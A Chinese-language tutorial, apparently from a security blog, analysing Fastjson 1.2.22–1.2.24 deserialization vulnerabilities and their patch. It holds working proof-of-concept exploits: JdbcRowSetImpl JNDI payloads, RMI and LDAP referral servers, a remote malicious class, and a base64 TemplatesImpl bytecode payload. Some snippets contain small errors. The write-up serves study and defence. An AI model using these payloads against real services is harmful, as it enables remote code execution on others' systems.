Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Java Object之间互相转换，提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址：https://github.com/alibaba/fastjson

Fastjson序列化与反序列化

序列化

Student.java

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

然后通过Ser.java进行序列化

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("ghtwf01");
        student.setAge(80);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

SerializerFeature.WriteClassName是toJSONString设置的一个属性值，设置之后在序列化的时候会多写入一个@type，即写上被序列化的类名，type可以指定反序列化的类，并且调用其getter/setter/is方法。

没加SerializerFeature.WriteClassName时

反序列化

上面说了有parseObject和parse两种方法进行反序列化，现在来看看他们之间的区别

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

parseObject其实也是使用的parse方法，只是多了一步toJSON方法处理对象。

看下面几种反序列化方法

一二种方法没用成功反序列化，因为没有确定到底属于哪个对象的，所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type，修改后代码如下

这样便能成功反序列化，可以看到parse成功触发了set方法，parseObject同时触发了set和get方法，因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType，所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作，以下面demo为例

Student.java

import java.io.IOException;

public class Student {
    private String name;
    private int age;
    private String sex;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

Unser.java

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
        //System.out.println(JSON.parse(jsonstring));
        System.out.println(JSON.parseObject(jsonstring));
    }
}

Fastjson反序列化流程分析

在parseObject处下断点，跟进

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

第一行将json字符串转化成对象，跟进parse

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

继续跟进

public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

这里会创建一个DefaultJSONParser对象，在这个过程中有如下操作

int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

判断解析的字符串是{还是[并设置token值，创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法

因为之前设置了token值为12，所以进入如下判断

case 12:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject，随后会通过 parseObject 方法进行解析，在解析后有如下操作

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        ref = lexer.scanSymbol(this.symbolTable, '"');
                        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
                        if (clazz != null) {
                            lexer.nextToken(16);
                            if (lexer.token() != 13) {
                                this.setResolveStatus(2);
                                if (this.context != null && !(fieldName instanceof Integer)) {
                                    this.popContext();
                                }

                                if (object.size() > 0) {
                                    instance = TypeUtils.cast(object, clazz, this.config);
                                    this.parseObject(instance);
                                    thisObj = instance;
                                    return thisObj;
                                }

这里会通过scanSymbol获取到@type指定类

然后通过 TypeUtils.loadClass 方法加载Class

这里首先会从mappings里面寻找类，mappings中存放着一些Java内置类，前面一些条件不满足，所以最后用ClassLoader加载类，在这里也就是加载类Student类

接着创建了ObjectDeserializer类并调用了deserialze方法

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

首先跟进getDeserializer方法，这里使用了黑名单限制可以反序列化的类，黑名单里面只有Thread

到达deserialze方法继续往下调试，就是ASM机制生成的临时代码了，这些代码是下不了断点、也看不到，直接继续往下调试即可，最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入，可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下，@type指向com.sun.rowset.JdbcRowSetImpl类，dataSourceName值为RMI服务中心绑定的Exploit服务，autoCommit有且必须为true或false等布尔值类型：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

远程恶意类badClassName.class

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}

客户端JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

LDAP+JNDI

POC和上面一样，就是改了一下url，因为是ldap了

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java

这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8888/#badClassName";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LDAPClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws Exception{
        try {
            Context context = new InitialContext();
            context.lookup("ldap://127.0.0.1:1389/badClassName");
        }
        catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

恶意远程类和上面一样

漏洞分析

前面的流程都是一样的，通过 TypeUtils.loadClass 方法加载Class，创建ObjectDeserializer类并调用deserialze方法，分析一下上面流程没写的部分

调用deserialze后继续往下调试，进入setDataSourceName方法，将dataSourceName值设置为目标RMI服务的地址

接着调用到setAutoCommit()函数，设置autoCommit值，其中调用了connect()函数

跟进connect方法

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值，是我们可控的，所以就造成了JNDI注入漏洞。

调用栈如下：

connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理：Fastjson通过bytecodes字段传入恶意类，调用outputProperties属性的getter方法时，实例化传入的恶意类，调用其构造方法，造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField，所以利用面很窄，但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件，通过如下方式进行base64加密以及生成payload

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的，直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时，调用parseField()进一步解析

跟进parseField方法，对_bytecodes对应的内容进行解析

跟进FieldDeserializer#parseField方法

解析出_bytecodes对应的内容后，会调用setValue()函数设置对应的值，这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

这里去除了_，跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

跟进newTransformer方法

跟进getTransletInstance方法

这里通过defineTransletClasses创建了TEMPOC类并生成了实例

进而执行TEMPOC类的构造方法

所以就执行了任意代码，整个调用栈如下

<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser

一些问题解惑

为什么要继承AbstractTranslet类

上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例，现在我们跟进这个方法看一看

如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常

为什么需要对_bytecodes进行Base64编码

上面说了通过FieldDeserializer#parseField对_bytecodes对应的内容进行解析得到对value是base64解码后的内容，那么我们就看一看value值怎么来的

跟进deserialze方法

跟进parseArray方法

跟进ObjectDeserializer#deserializer方法

跟进byteValue方法

将_bytecodes的内容进行base64解码

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时，若_tfactory为null则会导致代码报错

补丁分析

从1.2.25开始对这个漏洞进行了修补，修补方式是将TypeUtils.loadClass替换为checkAutoType()函数：

使用白名单和黑名单的方式来限制反序列化的类，只有当白名单不通过时才会进行黑名单判断，这种方法显然是不安全的，白名单似乎没有起到防护作用，后续的绕过都是不在白名单内来绕过黑名单的方式，黑名单里面禁止了一些常见的反序列化漏洞利用链

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework